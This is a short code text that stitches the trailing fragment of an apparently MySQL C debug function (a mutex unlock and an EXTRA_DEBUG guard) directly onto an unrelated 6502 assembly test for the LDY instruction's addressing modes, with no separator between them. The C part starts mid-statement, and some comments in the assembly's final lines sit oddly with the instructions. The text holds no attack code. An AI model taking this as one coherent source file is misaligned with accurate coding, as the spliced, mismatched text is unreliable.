%s", name, where)); return 1; } } } mysql_mutex_unlock(&THR_LOCK_myisam); return 0; } #endif /* EXTRA_DEBUG */
; Verifies LDY with all applicable addressing modes .segment "VECTORS" .word $eaea .word init .word $eaea .segment "ZEROPAGE" ; Used for zero page address mode testing zp: .byte $00 ; Padding so remaining bytes can be accessed in zeropage plus tests .byte $42 ; Positive .byte $00 ; Zero .byte %10010101 ; Negative ; Used for indirect x address mode testing indirectX: .byte $00 ; Padding so addresses can be accessed in plus x tests. .word data + $01 ; Start of actual test data .word data + $02 ; Zero .word data + $03 ; Negative ; Used for indirect y address mode testing indirectY: .word data ; Address of the actual test data start location .word data + $FF ; Used for the page boundary test .data data: .byte $00 ; Padding so remaining bytes can be accessed in absolute plus tests .byte $42 ; Positive .byte $00 ; Zero .byte %10010101 ; Negative ; Implicit here is that memory location data + $FF + $02 will be pre-filled with zeros. ; That location gets used to confirm the cycle count it takes to do an indirect Y ; across a page boundary. .code init: ; Immediate. ldy #$42 ; Positive ldy #$00 ; Zero ldy #%10010101 ; Negative ; Zeropage. Starts with +1 to skip padding. ldy zp + $01 ; Positive ldy zp + $02 ; Zero ldy zp + $03 ; Negative ; Zeropage plus X. X will be $01 ldy zp,x ; Positive ldy zp + $01,x ; Zero ldy zp + $02,x ; Negative ; Absolute. Starts with +1 to skip padding. ldy data + $01 ; Positive ldy data + $02 ; Zero ldy data + $03 ; Negative ; Absolute plus X. X will be $01. ldy data,x ; Positive ldy data + $01,x ; Zero ldy data + $02,x ; Negative ldy data - $01,x ; Positive across page boundary, y will be $02. ldy data - $01,x ; Zero across page boundary, y will be $03.